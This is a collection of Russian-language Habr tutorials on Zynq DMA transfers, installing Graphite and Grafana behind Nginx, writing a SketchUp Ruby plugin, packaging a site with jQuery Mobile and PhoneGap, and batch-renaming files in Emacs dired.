/** Flush Cache */
Xil_DCacheFlush();
/** Disable Cache */
Xil_DCacheDisable();
```
4. Заполним буферы, которые будут передаваться в программируемую логику.
```
for (u16 desc = 0; desc < DESC_COUNT; desc++)
{
for (u32 i = 0; i < BUFFER_SIZE; i++)
{
TxBuffer[desc][i] = desc + i;
}
}
```
5. Заполним список дескрипторов для передачи.
```
for (u16 i = 0; i < DESC_COUNT; i++)
{
TxDesc[i].NXTDESC = &TxDesc[i];
TxDesc[i].NXTDESC_MSB = 0x0;
TxDesc[i].BUFFER_ADDRESS = &TxBuffer[i][0];
TxDesc[i].BUFFER_ADDRESS_MSB = 0x0;
TxDesc[i].RESERVED0 = 0x0;
TxDesc[i].RESERVED1 = 0x0;
TxDesc[i].CONTROL = 0xC000000 + sizeof(TxBuffer[i]);
TxDesc[i].STATUS = 0x0;
TxDesc[i].APP0 = 0x0;
TxDesc[i].APP1 = 0x0;
TxDesc[i].APP2 = 0x0;
TxDesc[i].APP3 = 0x0;
TxDesc[i].APP4 = 0x0;
}
```
6. Скопируем дескрипторы передачи в память дескрипторов, которая расположена в программируемой логике.
```
DescAddr = 0x40000000;
for (u16 i = 0; i < DESC_COUNT; i++)
{
Xil_MemCpy(DescAddr, &TxDesc[i], sizeof(TxDesc[i]));
DescAddr += 0x40;
}
```
7. Запишем указатель на следующий элемент в списке дескрипторов.
```
/** Write pointer to next pointer */
DescAddr = 0x40000000;
for (u16 i = 0; i < DESC_COUNT - 1; i++)
{
Xil_Out32(DescAddr, DescAddr + 0x40);
DescAddr += 0x40;
}
/** Write pointer for last descriptor */
Xil_Out32(DescAddr, DescAddr);
```
8. Повторим для списка дескрипторов приема.
```
/** Fill descriptor to receive */
for (u16 i = 0; i < DESC_COUNT; i++)
{
RxDesc[i].NXTDESC = &RxDesc[i];
RxDesc[i].NXTDESC_MSB = 0x0;
RxDesc[i].BUFFER_ADDRESS = &RxBuffer[i][0];
RxDesc[i].BUFFER_ADDRESS_MSB = 0x0;
RxDesc[i].RESERVED0 = 0x0;
RxDesc[i].RESERVED1 = 0x0;
RxDesc[i].CONTROL = sizeof(RxBuffer[i]);
RxDesc[i].STATUS = 0x0;
RxDesc[i].APP0 = 0x0;
RxDesc[i].APP1 = 0x0;
RxDesc[i].APP2 = 0x0;
RxDesc[i].APP3 = 0x0;
RxDesc[i].APP4 = 0x0;
}
/** Copy receive descriptor for memory of descriptors */
DescAddr = 0x40000000 + 0x4000;
for (u16 i = 0; i < DESC_COUNT; i++)
{
Xil_MemCpy(DescAddr, &RxDesc[i], sizeof(RxDesc[i]));
DescAddr += 0x40;
}
/** Write pointer to next pointer */
DescAddr = 0x40000000 + 0x4000;
for (u16 i = 0; i < DESC_COUNT - 1; i++)
{
Xil_Out32(DescAddr, DescAddr + 0x40);
DescAddr += 0x40;
}
/** Write pointer for last descriptor */
Xil_Out32(DescAddr, DescAddr);
```
9. Запустим DMA на передачу. DMA начинает обрабатывать данные после записи в регистр значения хвоста списка дескрипторов.
```
/** Reset DMA and setup */
/** MM2S */
Xil_Out32(0x40400000, 0x0001dfe6);
Xil_Out32(0x40400000, 0x0001dfe2);
/** S2MM */
Xil_Out32(0x40400030, 0x0001dfe6);
Xil_Out32(0x40400030, 0x0001dfe2);
/** PL => PS */
Xil_Out32(0x4040003c, 0x00000000);
Xil_Out32(0x40400038, 0x40004000);
Xil_Out32(0x40400030, 0x0001dfe3);
Xil_Out32(0x40400044, 0x00000000);
Xil_Out32(0x40400040, 0x40007FC0);
/** PS => PL */
Xil_Out32(0x4040000C, 0x00000000);
Xil_Out32(0x40400008, 0x40000000);
Xil_Out32(0x40400000, 0x0001dfe3);
Xil_Out32(0x40400014, 0x00000000);
Xil_Out32(0x40400010, 0x40003FC0);
```
10. Подождем, пока будет обработан последний дескриптор на приеме и посчитаем время обработки. Конечно, можно использовать прерывания, но для тестовой задачи это излишне.
```
/** Wait ready in last descriptor */
while (1)
{
status = Xil_In32(0x40003FDC);
if ((status & 0x80000000) == 0x80000000)
{
break;
}
else
{
countWait++;
usleep(100);
}
}
xil_printf("Time %x \n\r", countWait);
```
### 3.3 Результаты
Собираем приложение, создаем файл прошивки и заливаем в плату. Описано в предыдущей статье[1].
Запускаем, смотрим в мониторе com-порта:
```
Xilinx First Stage Boot Loader
Release 2019.2 Dec 16 2020-15:11:44
Silicon Version 3.1
Boot mode is QSPI
SUCCESSFUL_HANDOFF
FSBL Status = 0x1
Hello World
Time 10F
```
Таким образом, для обмена данными между процессорным модулем и программируемой логикой, в программируемой логике необходимо реализовать один из интерфейсов связи с процессорным модулем, где инициатором является программируемая логика. Такие интерфейсы представлены портами GP, HP, ACP. В предыдущей статье [1] они все были рассмотрены.
Посчитаем скорость передачи данных: (256 раз \* 102400 байт) / (271 \* 100 мкс) ≈ 967 321 033 байт/с ≈ 944 649 Кбайт/с ≈ 922 Мбайт/с.
Битовая скорость 7 738 568 264 бит/с.
Теоретическая скорость составляет 32 бита \* 250 МГц = 8 000 000 000 бит/с.
Также, существует возможность хранить дескрипторы не в памяти программируемой логики, а в оперативной памяти, подключенной к процессорному модулю. В таком случае порт M\_AXI\_SG подключается к порту HP Zynq.
Рассмотрим первый вариант, когда для доступа DMA к данными и к дескрипторам в оперативной памяти процессорного модуля используются разные порты HP. Модифицируем прошивку в программируемой логике, чтобы получилась следующая схема:
[](https://habrastorage.org/webt/v2/5p/k2/v25pk2x3qlf6v_7k4pxrbfiggvc.png)
Доступ к данными и дескрипторами через разные порты
Исходный код приложения приводить не будем. Отличия лишь в том, что дескрипторы не нужно копировать в память программируемой логики. Однако, необходимо учесть условие, чтобы адрес каждого дескриптора был выровнен на 64 байта.
После запуска приложения, в мониторе com-порта увидим, что время выполнения копирования буфера данных не поменялось, также 271 \* 100 мкс.
Рассмотрим второй вариант, когда для доступа к DMA и к дескрипторам в оперативной памяти процессорного модуля используется один и тот же порт. Модифицируем прошивку в программируемой логике, чтобы получилась следующая схема:
[](https://habrastorage.org/webt/6h/jc/ws/6hjcwsrrqcu_hnep76d6tchkdly.png)
Доступ к данными и дескрипторами через один и тот же порт
Исходный код приложения не поменялся относительно предыдущего варианта.
После запуска приложения, в мониторе com-порта увидим новое время выполнения операции копирования буфера: 398 \* 100 мкс.
В результате, скорость обработки составит: (256 раз \* 102400 байт) / (398 \* 100 мкс) ≈ 658 653 266 байт/с ≈ 643 216 Кбайт/с ≈ 628 Мбайт/с.
Битовая скорость 5 269 226 128 бит/с.
Проект: [github.com/Finnetrib/DmaTransfer](https://github.com/Finnetrib/DmaTransfer)
4 Заключение
------------
В этой статье мы рассмотрели две реализации обмена данными между процессорным модулем и программируемой логикой. Режим PIO прост в реализации и позволяет получить скорость до 23 Мбайт/с, режим DMA несколько посложнее, но и скорость выше — до 628 Мбайт/с.
5 Используемые источники
------------------------
1. [habr.com/ru/post/508292](https://habr.com/ru/post/508292/)
2. [www.xilinx.com/support/documentation/ip\_documentation/axi\_dma/v7\_1/pg021\_axi\_dma.pdf](https://www.xilinx.com/support/documentation/ip_documentation/axi_dma/v7_1/pg021_axi_dma.pdf) | https://habr.com/ru/post/535226/ | null | ru | null |
# Установка связки Carbon + Graphite + Grafana + Nginx + MySQL для сбора и отображения метрик в Ubuntu
Хочу поделиться опытом установки и настройки сервиса для сбора и отображения метрик `Graphite` + `Grafana`.
Искал долго, читал много, нашёл 2 статьи на английском, добавил своё, в итоге получилась данная статья.
Немного предыстории..
`Graphite` — система для отображения метрик (числовых значений) для любых свойств сервера или домашнего ПК.
`Carbon` — демон/бэкенд, в который пишутся метрики.
`Grafana` — более красивая и удобная Web-морда для `Graphite`.
И так, приступим.
Установка и настройка Php + Nginx + MySQL
-----------------------------------------
### Установка Php + Nginx + MySQL
Тут всё довольно просто.
```
sudo apt install php5-fpm php5-json php5-mysql
sudo apt install nginx nginx-extras
sudo apt install mysql-server
```
Во время установки будет запрос пароля для `root`-пользователя `MySQL`.
### Установка phpMyAdmin
Для более удобного доступа у базам данных `MySQL` установим `phpMyAdmin`.
Скачиваем [отсюда](https://www.phpmyadmin.net/downloads/) последнюю версию
```
cd /usr/share/
sudo wget https://files.phpmyadmin.net/phpMyAdmin/4.6.2/phpMyAdmin-4.6.2-all-languages.zip
sudo unzip phpMyAdmin-4.6.2-all-languages.zip
sudo rm phpMyAdmin-4.6.2-all-languages.zip
sudo mv phpMyAdmin-4.6.2-all-languages phpmyadmin
```
### Настраиваем Nginx для phpMyAdmin
В файл настроек `/etc/nginx/conf.d/pma.conf` пишем следующее:
```
server {
server_name pma.your.site;
listen 80;
location / {
root /usr/share/phpmyadmin/;
index index.php index.html index.htm;
location ~ ^/(.+\.php)$ {
try_files $uri =404;
root /usr/share/phpmyadmin/;
fastcgi_pass unix:/var/run/php5-fpm.sock;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $request_filename;
include /etc/nginx/fastcgi_params;
}
location ~* ^/(.+\.(jpg|jpeg|gif|css|png|js|ico|html|xml|txt))$ {
root /usr/share/phpmyadmin/;
}
}
}
```
И перезапускаем `Nginx`
```
sudo service nginx restart
```
### Предварительные настройки MySQL
Заходим по адресу `pma.your.site`, который Вы прописали в настройках выше, авторизируемся под `root` пользователем с тем паролем, который Вы установили во время установки `MySQL`.
Создадим базу данных `graphite` и пользователя `graphite`, и дадим этому пользователю все привилегии на эту базу.
Установка и настройка Graphite + Carbon
---------------------------------------
### Установка Graphite + Carbon
Тут тоже всё довольно просто:
```
sudo apt-get install graphite-web graphite-carbon
```
### Настройка Graphite
Редактируем файл конфигурации `/etc/graphite/local_settings.py`.
```
SECRET_KEY = 'MY NICE RANDOM SALT'
TIME_ZONE = 'UTC'
USE_REMOTE_USER_AUTHENTICATION = True
DATABASES = {
'default': {
'NAME': 'graphite',
'ENGINE': 'django.db.backends.mysql',
'USER': 'graphite',
'PASSWORD': 'mypassword',
'HOST': '127.0.0.1',
'PORT': ''
}
}
```
### Синхронизация базу данных
Синхронизируем базу данных следующей командой
```
sudo graphite-manage syncdb
```
### Настройка Carbon
Редактируем следующие файлы конфигурации
`/etc/default/graphite-carbon`
```
CARBON_CACHE_ENABLED = true
```
`/etc/carbon/carbon.conf`
```
ENABLE_LOGROTATION = True
```
Копируем стандартные настройки агрегации хранилища
```
sudo cp /usr/share/doc/graphite-carbon/examples/storage-aggregation.conf.example /etc/carbon/storage-aggregation.conf
```
И перезапускаем `Carbon`
```
sudo service carbon-cache start
```
### Установка uWSGI
Для установки `uWSGI` запустите следующие команды
```
sudo apt-get install python-dev
sudo pip install uwsgi
```
Если в Вашей системе не установлен `pip` — устанавливаем его
```
sudo apt-get install python-pip
```
И выполняем команды выше.
Копируем стандартный файл конфигурации
```
sudo cp /usr/share/graphite-web/graphite.wsgi /usr/share/graphite-web/graphite_wsgi.py
```
Создаём файл конфигурации:
```
sudo nano /etc/init/uwsgi-graphite.conf
```
И вписываем туда следующие строки:
```
env UWSGI_BIN=/usr/local/bin/uwsgi
env PYTHONPATH=/usr/share/graphite-web
expect fork
umask 0000
start on runlevel [2345]
stop on runlevel [!2345]
script
exec $UWSGI_BIN --socket /var/run/graphite.sock --master --need-app \
--catch-exceptions --reload-on-exception --pp $PYTHONPATH \
-w graphite_wsgi:application --buffer-size 32768 -p 4 -O 2 >>/var/log/graphite.log 2>&1 &
end script
```
И запускаем `Graphite`
```
sudo service uwsgi-graphite start
```
### Настройка Nginx для Graphite
Редактируем файл конфигурации `/etc/nginx/conf.d/graphite.conf`
```
server {
server_name graphite.your.site;
listen 80;
access_log /var/log/nginx/graphite.access.log;
error_log /var/log/nginx/graphite.error.log;
root /usr/share/graphite-web;
location = /favicon.ico {
return 204;
}
location /content {
alias /usr/share/graphite-web/static;
expires max;
}
location / {
uwsgi_pass unix:/var/run/graphite.sock;
include uwsgi_params;
}
}
```
Перезапускаем `Nginx` и переходим по адресу `graphite.your.site`
### Тестирование Graphite
Для проверки работоспособности `Graphite` достаточно выполнить одну простую команду:
```
echo "test.count 9 `date +%s`" | nc -q0 127.0.0.1 2003;
```
Ну или запустить цикл:
```
for i in 4 6 8 16 2; do echo "test.count $i `date +%s`" | nc -q0 127.0.0.1 2003; sleep 6; done
```
Теперь в `Graphite` модно наблюдать следующее:
Установка и настройка красивой Web-морды Grafana
------------------------------------------------
### Установка Grafana
Для установки `Grafana` выполняем следующие команды:
```
echo 'deb https://packagecloud.io/grafana/stable/debian/ wheezy main' | sudo tee -a /etc/apt/sources.list
curl https://packagecloud.io/gpg.key | sudo apt-key add -
sudo apt-get update
sudo apt-get install grafana
```
### Настройка MySQL для Grafana
Создадим в `MySQL` базу данных `grafana` и дадим все привилегии на неё пользователю `graphite`, которого мы создали ранее.
Редактируем файл конфигурации `/etc/grafana/grafana.ini`
```
[database]
type = mysql
host = 127.0.0.1:3306
name = grafana
user = graphite
password = mypassword
[server]
protocol = http
http_addr = 127.0.0.1
http_port = 3000
domain = grafana.your.site
enforce_domain = true
root_url = %(protocol)s://%(domain)s/
[security]
admin_user = admin #Имя пользователя-администратора
admin_password = your_secure_password # Пароль пользователя-администратора
secret_key = your_random_secret_salt
```
И запускаем `Grafana`
```
sudo service grafana-server start
```
### Настройка Nginx для Grafana
Редактируем файл конфигурации `/etc/nginx/conf.d/grafana.conf`
```
server {
server_name grafana.your.site;
listen 80;
access_log /var/log/nginx/grafana.access.log;
error_log /var/log/nginx/grafana.error.log;
location = /robots.txt {
echo "User-agent: *\nDisallow: /\n";
}
location / {
proxy_pass http://localhost:3000;
proxy_set_header Host $host;
}
}
```
Перезапускаем `Nginx` и переходим по адресу `grafana.your.site`
Вводим логин/пароль администратора, которые Вы установили выше, и попадаем в админ-панель `Grafana`.
Перед тем, как создавать дашборды и выводить метрики, нужно настроить источники данных.
Переходим в раздел `Data Source` -> `Add New`
Вводим следующие данные
* Name: graphite
* URL: graphite.your.site
Вот пример:
Теперь переходим на главную страницу, жмём `New Dashboard` -> `New`,
Слева будет малозаметная зелёная кнопка, при наведении на которую она выползет из-за края экрана. Нажимаем на неё и затем `Add Panel` -> `Graph`
Внизу Вы увиlите метрики, которые мы создавали тестовой командой выше, `test` и `count`.
На этом пока что всё, позже я расcкажу о плагинах для `Grafana`.
Больше информации
-----------------
Пожалуйста, проследуйте по приведенным ниже ссылкам, чтобы узнать больше о `Grafana` и его удивительных настройках.
* [Официальная документация Grafana](http://docs.grafana.org)
* [Официальная документация Graphite](http://graphite.wikidot.com/documentation)
Благодарность
-------------
За основу статьи были взяты материалы следующих статей:
* [Deploy Graphite and Nginx on an Ubuntu 14.04 server](http://arpitbhayani.me/techie/graphite.html)
* [Deploy Grafana and Graphite an Ubuntu 14.04 server](http://arpitbhayani.me/techie/grafana.html)
Оригинал статьи опубликован на моём [блоге](http://blog.kai-zer.ru/articles/ustanovka-sviazki-carbon-graphite-grafana-nginx-mysql-dlia-sbora-i-otobrazheniia-metrik-v-ubuntu/) | https://habr.com/ru/post/302720/ | null | ru | null |
# Пишем плагин для Google SketchUp
[Google SketchUp](http://sketchup.google.com/) — программа для быстрого создания и редактирования трёхмерной графики. Удобство и простоту SketchUp оценят, как начинающие работу с трёхмерным моделированием, так и профессионалы.
Но не все знают, что SketchUp обладает мощным API, с помощью которого можно создавать модули, добавляя в программу новый функционал. В этом посте я попытаюсь объяснить общие принципы архитектуры SketchUp и процесс разработки плагина. Перед написанием нового ~~велосипеда~~ плагина стоит поискать на сайте [Sketchucation](http://sketchucation.com) уже готовые реализации с необходимой для Вас функциональностью. Найдя подходящий плагин с открытым исходным кодом, можно реализовать требуемый функционал, оставив основную часть кода нетронутой. Например, плагин делает какие-то расчеты и построения, а вы только изменяете их применение или визуализацию.
Плагины для SketchUp пишутся на языке [Ruby](http://www.ruby-lang.org).
На [Google Code](http://code.google.com/intl/en/apis/sketchup/docs/index.html) представлена официальная документация по разработке. Она состоит из 3 разделов: Introduction, Quick Reference и Object Reference.
1) Introduction – вводный раздел, в котором показан пример создания простого плагина.
2) Quick Reference – справочный раздел по классам, методам.
3) Object Reference – справочный раздел по объектной модели SketchUp. Объектная иерархия очень удобно разбита по группам, что позволяет быстро искать необходимые для написания кода классы.
Пример разработки плагина я возьму из собственной практики. Для удобства работы требовался дополнительный функционал, отсутствующий в SketchUp. Задача состояла в быстром и удобном определении размеров объекта (ширина, высота, толщина). Готовый плагин с данной функциональностью был найден — [GetDimensions](http://forums.sketchucation.com/viewtopic.php?f=323&t=28851&sid=6680222b9eecacb3085da4a7c9776b76), но у него был большой минус: он показывал размеры в MessageBox’e, который необходимо было постоянно закрывать, что создавало определенное неудобство. Я решил исследовать его код и изменить вывод результата.
**Код плагина GetDimensions:**
> `require 'sketchup.rb'
>
> def get\_dimensions
>
> model = Sketchup.active\_model
>
> mname = model.title
>
> Sketchup::set\_status\_text(("GET COMPONENT DIMENSIONS..." ), SB\_PROMPT)
>
> Sketchup::set\_status\_text(" ", SB\_VCB\_LABEL)
>
> Sketchup::set\_status\_text(" ", SB\_VCB\_VALUE)
>
> boundingBox = model.selection[0].bounds
>
> dims = [ boundingBox.height,
>
> boundingBox.width,
>
> boundingBox.depth ]
>
> dims.sort!
>
>
>
> UI.messagebox("Thickness: " + dims[0].to\_s + "\nWidth: " + dims[1].to\_s +"\nLength: " + dims[2].to\_s)
>
> end
>
>
>
> if( not file\_loaded?("GetDimensions.rb") )
>
> add\_separator\_to\_menu("Plugins")
>
> UI.menu("Plugins").add\_item("Get Dimensions") { get\_dimensions }
>
> end
>
>
>
> file\_loaded("GetDimensions.rb")
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Код состоит из логики плагина (`get_dimensions`), добавления пункта меню (*Plugins -> Get Dimensions*) и загрузка самого файла плагина в систему (*GetDimensions.rb*).
Для установки, плагин необходимо скопировать в директорию “*C:\Program Files\Google\Google SketchUp\Plugins\*”, а программа автоматически подгрузит все скрипты из этой папки при запуске.
Главным объектом, хранящим в себе структуру рисунка, является `model`.
В данном плагине берется первый выделенный объект и его размеры. Размеры сортируются в порядке возрастания и показываются в MessageBox’е, а в панели состояния отображается название плагина.
Панель состояния меня сразу заинтересовала, и я решил перенести в нее вывод полученных размеров.
После небольшой модификации плагина мне удалось этого достичь:
> `def get\_dimensions
>
> model = Sketchup.active\_model
>
> entities = model.entities
>
> boundingBox = model.selection[0].bounds
>
>
>
> dims = [ boundingBox.height,
>
> boundingBox.width,
>
> boundingBox.depth ]
>
> dims.sort!
>
>
>
> Sketchup::set\_status\_text(("Thickness: " + dims[0].to\_s + ". Width: " + dims[1].to\_s + ". Length: " + dims[2].to\_s ), SB\_PROMPT)
>
> end
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
После выбора элемента, с помощью инструмента *Select*, выбираем в меню команду *Get Dimensions*. В результате на панели состояния будут отображаться размеры выбранного элемента. Для более удобного вызова команды следует назначить горячую клавишу.
Следующим шагом было сделать так, чтобы размеры автоматически показывались при выделении объекта. В голову пришло два варианта: сделать свой инструмент, который бы выделял элементы как инструмент *Select*, но при этом показывал внизу размеры, либо модифицировать инструмент *Select*, что бы он при выделении показывал размеры объекта.
После поиска по *Object Reference*, родилась идея реализации второго способа.
Как оказалось, с помощью *Observer Classes -> SelectionObserver* можно подписаться на события инструмента *Select*.
После модификации логика плагина была разнесена на два файла:
**Dimensions\_load.rb**
> `require 'sketchup.rb'
>
> require 'Dimensions/GetDimensions.rb'
>
>
>
> $PluginMenuName = "Tools"
>
> $DimensionsMenuName = "Dimensions Tool"
>
> $GetDimensionsMenuItem = "Get Dimensions"
>
> $AutoDisplayMenuItem = "Auto Display Dimensions"
>
>
>
> if(not file\_loaded?("dimensions\_load.rb"))
>
> pluginMenu = UI.menu($PluginMenuName)
>
> dimensions = Dimensions.new
>
> pluginMenu.add\_separator
>
> getDimensionsSubMenu = pluginMenu.add\_submenu($DimensionsMenuName){}
>
> getDimensionsSubMenu.add\_item($GetDimensionsMenuItem){dimensions.get\_selection\_dimensions}
>
> autoDisplayItem = getDimensionsSubMenu.add\_item($AutoDisplayMenuItem){dimensions.connect\_observer}
>
> getDimensionsSubMenu.set\_validation\_proc(autoDisplayItem){dimensions.menu\_checked}
>
> end
>
>
>
> file\_loaded("dimensions\_load.rb")
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
**GetDimensions.rb**
> `require 'sketchup.rb'
>
> class Dimensions < Sketchup::SelectionObserver
>
> def initialize()
>
> @usedObserver = false
>
> end
>
>
>
> def onSelectionBulkChange(selection)
>
> get\_dimensions(selection)
>
> end
>
>
>
> def get\_selection\_dimensions
>
> get\_dimensions(Sketchup.active\_model.selection)
>
> end
>
>
>
> def get\_dimensions(selection)
>
> boundingBox = selection[0].bounds
>
> dims = [ boundingBox.height,
>
> boundingBox.width,
>
> boundingBox.depth ]
>
> dims.sort!
>
> Sketchup::set\_status\_text(("Thickness: " + dims[0].to\_s + ". Width: " + dims[1].to\_s + ". Length: " + dims[2].to\_s ), SB\_PROMPT)
>
> end
>
>
>
> def connect\_observer
>
> if(@usedObserver) then
>
> return remove\_observer
>
> else
>
> return add\_observer
>
> end
>
> end
>
>
>
> def add\_observer
>
> @usedObserver = true
>
> Sketchup.active\_model.selection.add\_observer self
>
> return MF\_CHECKED
>
> end
>
>
>
> def remove\_observer
>
> @usedObserver = false
>
> Sketchup.active\_model.selection.remove\_observer self
>
> return MF\_UNCHECKED
>
> end
>
>
>
> def menu\_checked
>
> if(@usedObserver) then
>
> return MF\_CHECKED
>
> else
>
> return MF\_UNCHECKED
>
> end
>
> end
>
> end
>
>
>
> file\_loaded("GetDimensions.rb")
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Рассмотрим код подробнее.
Для того, чтобы иметь возможность перехватывать события инструмента *Select*, необходимо наследоваться от класса `SelectionObserver`, переопределить у себя метод `onSelectionBulkChange(selection)`, который будет вызываться при выделении объектов, и подписаться на события с помощью `Sketchup.active_model.selection.add_observer`.
Плагин был перемещен в меню *Tool -> Dimensions Tool*, которое содержит два подпункта: *Get Dimensions* и *Auto Display Dimensions*.
Как я уже говорил ранее, задача плагина сводилась к отображению параметров объекта автоматически при его выделении. Т.к. дополнительный функционал не всегда нужен, решено было сделать его отключаемым. *Auto Display Dimensions* — позволяет включать его в нужный момент, а *Get Dimensions* – вызов плагина по запросу — был оставлен для большей гибкости использования.
Исходный код [плагина](http://ifolder.ru/22321356).
Как видите, модернизирование существующего плагина намного проще, чем писание его с нуля. Кстати, я впервые писал код на Ruby, но благодаря большому опыту программирования, понять синтаксис не составило труда.
Желаю всем удачи в написании собственных плагинов для SketchUp. | https://habr.com/ru/post/115166/ | null | ru | null |
# Превращаем статический сайт в мобильное приложение с помощью jQuery Mobile и PhoneGap
После приобретения телефона на базе Android, возникла задача сделать из сайта [brainexer](http://ru.brainexer.com) мобильное приложение. Выбор пал на [jQuery Mobile](http://jquerymobile.com/) и [PhoneGap](http://phonegap.com/). До этого никаких познаний в обрасти мобильной разработки не было, поэтому пришлось осознать некий пласт новой информации, выжимкой из которого я бы и хотел поделиться. В итоге статья представляет из себя небольшой quick start — как из пачки html файлов получить приложение опубликованное в Google Play.
#### jQuery Mobile
Первым делом убираем все лишнее (меню, футер и т.д.) и основной контент помещаем в стандартный шаблон в data-role=«content».
```
Заголовок
=========
Содержание
```
Нужно не забыть перед сборкой файлы js и css поменять на локальные версии.
Меню же можно поместить на стартовую страницу index.html в виде аккордеона состоящего из collapsible-set и listview
```
### Раздел 1
* [Страница 1](page1.html)
* [Страница 2](page2.html)
### Раздел 2
* [Страница 3](page3.html)
```
У jQuery Mobile есть несколько тем [a-e] и атрибутом data-theme мы указали какую хотим использовать. «b» — синяя.
Если на сайте используются модальные диалоги, то их можно реализовать следующим образом. На страницу помещается блок
```
Заголовок диалога
=================
Тело диалога
```
И ссылка вида,
```
[Диалог](#dialog1)
```
по нажатию на которую будет открываться диалог.
Если на странице необходимо какое либо доп меню, то его можно поместить в header справа. Сам заголовок при этом сместить влево, иначе кнопки будут на него наезжать.
```
Заголовок
=========
```
Тут используется контрол кнопки data-role=«button» у которой используется иконка data-icon=«gear» без текста data-iconpos=«notext»
Собственно это вся основа что мне потребовалась для моего приложения. Со всеми остальными контролами можно ознакомиться на сайте
[view.jquerymobile.com/1.3.2/dist/demos](http://view.jquerymobile.com/1.3.2/dist/demos/)
#### PhoneGap
Следующий шаг — запаковать все что получилось в apk.
Сначала устанавливается [nodejs.org](http://nodejs.org), после ставиться сам phonegap
```
npm install -g phonegap
```
Создаем приложение HelloWorld
```
phonegap create MyApp
```
Все html файлы кладутся в папку www, index.html стартовая страница.
Для сборки приложения есть два варианта.
1)Скачать Android SDK и при запуске phonegap build будет использоваться локальная окружение. Главный плюс установки SDK — можно будет исползовать эмулятор Android, но у него есть и минус, он достаточно тормозной.
2)Использовать сервис build.phonegap.com — основная задача которого как раз состоит в том что бы разработчику не нужно было настраивать окружение для сборки под разные платформы. То есть, не устанавливая sdk Android, Windows Phone вы можете собрать apk, xap и т.д. Вопрос только останется на чем их тестировать. Минус у этого варианта появляется если у вас больше одного приложения. Так как бесплатно доступна сборка только одного приватного проекта.
Что бы собрать приложение с помощью build.phonegap.com запускаем
```
phonegap remote build android
```
##### Плагины.
Если вам требуется что то непосредственно от телефона, например доступ к камере или файловой системе, то об этом нужно сообщить с помощью специальной команды. Например у меня звук проигрывается с помощью html audio, но в андроиде с ним существуют проблемы, поэтому пришлось использовать Media плагин, так же для получения локали пользователя для выбора язык интерфейса нужен плагин Globalization.
Устанавливаем cordova
```
npm install -g cordova
```
И соответственно запускаем команды в папке приложения
```
cordova plugin add org.apache.cordova.media
cordova plugin add org.apache.cordova.globalization
```
Список установленных плагинов можно получить командой
```
cordova plugin list
[ 'org.apache.cordova.globalization',
'org.apache.cordova.media' ]
```
Добавляем в html ссылку на cordova.js
```
```
Теперь например можно получить локаль. Доступ к апи нужно производить после события deviceready.
```
document.addEventListener("deviceready", onDeviceReady, false);
function onDeviceReady() {
navigator.globalization.getLocaleName(
function (locale) {
alert(locale.value);
},
function (error) {
alert(error);
});
}
```
##### Иконки и заставки
В папках «www\res\icon\android\» «www\res\screen\android\» расположены соответственно иконки и заставки. По умолчанию там лежать картинки с логотипами PhoneGap, поэтому неплохо бы заменить их на собственные. Так же общая дефолтная иконка лежить в www\ и называется icon.png
##### Файл конфигурации
Файл config.xml лежить в папке www, в нем нужно указать id приложения, версию приложения, название, описание и автора.
```
HelloWorld
Hello World sample application that responds to the deviceready event.
PhoneGap Team
```
##### Релиз версия
Что бы собрать версию apk которую можно будет опубликовать в Google Play, нужно создать файл keystore с помощью утилиты keytool.exe из JDK и загрузить на build.phonegap.com. Запускаем rebuild и получаем TestApp-release.apk
#### Google Play
Последний шаг — регистрируемся на [play.google.com/apps/publish/signup](https://play.google.com/apps/publish/signup/).
Создаём приложение, вносим описание, загружаем логотип и скришоты. Заливаем apk и жмем опубликовать. Все, приложение готово.
#### Кроссплатформенность
В конце можно упомянуть главный бонус. Кроме Android версии у вас есть готовые приложения под все остальные поддерживаемые платформы, из популярных это iOS и Windows Phone, но так как в отличие от Android у них не все так просто с возможностью тестирования, то я пока этим бонусом не воспользовался. | https://habr.com/ru/post/201752/ | null | ru | null |
# Emacs как файл менеджер
Практически каждому пользователю компьютера рано или поздно приходится сталкиваться с проблемой переименования сразу нескольких файлов. Например, сменить расширение файла, поменять имя, вставить порядковый номер и так далее. Кто-то пишет shell скрипты, кто-то использует специально созданные для этой цели программы, но настоящие индейцы используют Emacs.
В Emacs существует такой режим как **dired**. Это режим просмотра директории. Чтобы включить его достаточно набрать
`Alt-x dired`
после этого достаточно выбрать путь к директории
Допустим, нам нужно переименовать файлы в этой директории, превратив имя **yuka** в имя и фамилию **yuka.kemmochi**. Будем использовать для этого регулярные выражения[[1](#wdired-change-to-wdired-mode)]. Почему регулярные выражения? Потому что это пожалуй самый гибкий способ. И хотя в данном случае мы стреляем из лазерной пушки с автоматической наводкой по воробьям, техника опробованная здесь пригодится в более сложных случаях.
##### Регулярные Выражения в Emacs
Регулярные выражения не так уж просты сами по себе. В Emacs дело осложняется тем, что он использует POSIX регулярные выражения, и спецсимволы необходимо экранировать слэшем. Так как слэш сам по себе спецсимвол, то его также необходимо экранировать. Плюс ко всему в строках каждый слэш необходимо удваивать. Все это приводит к тому, что регулярное выражение в Emacs может выглядеть, например, вот так
`\\<\\(HKCU\\|HKLM\\|dirifempty\\|files\\|filesandordirs\\)\\>`
Что соответствует обычному
`^(HKCU|HKLM|dirifempty|files|filesandordirs)$`
С другой стороны регулярные выражения в Emacs очень легко составлять и тестировать. Для этого мы задействуем пожалуй один из самых мощных инструментов Emacs RE-builder:
В открывшемся поле можно вводить выражение, помня о том, что вводится оно как строка, поэтому все слэши необходимо удваивать.
Ввод этот интерактивен, то есть Emacs подкрасит то, что соответствует введенному выражению. Более того, отдельные группы выделяются отдельным цветом.
Составив выражение мы готовы переименовывать файлы.
##### Операции с файлами
Перед тем как оперировать с файлами, нам необходимо их выделить. Можно просто перемещаясь по буферу и вставая на имя файла нажимать **m**, можно ввести **% g** и затем в приглашении ввести часть имени файлов, можно использовать опять же регулярные выражения ввеля **% m**
Выделить все файлы достаточно просто
Вуаля
Дальнейшие операции проходят над выделенными файлами.
Чтобы переименовать файлы используя регулярные выражения нажмем **% R**.
Регистр буквы важен, то есть нажимается **Shift** и **5** и затем не отпуская **Shift** нажимаем **r**. Как правило, **5** и **r** находятся рядом на клавиатуре поэтому переименование файлов используя регулярные выражения можно запустить довольно быстро и просто.
Вводим наше регулярное выражение, помня о том, что количество слешей должно «уполовинится» по сравнению с тем что мы пробовали в RE-builder.
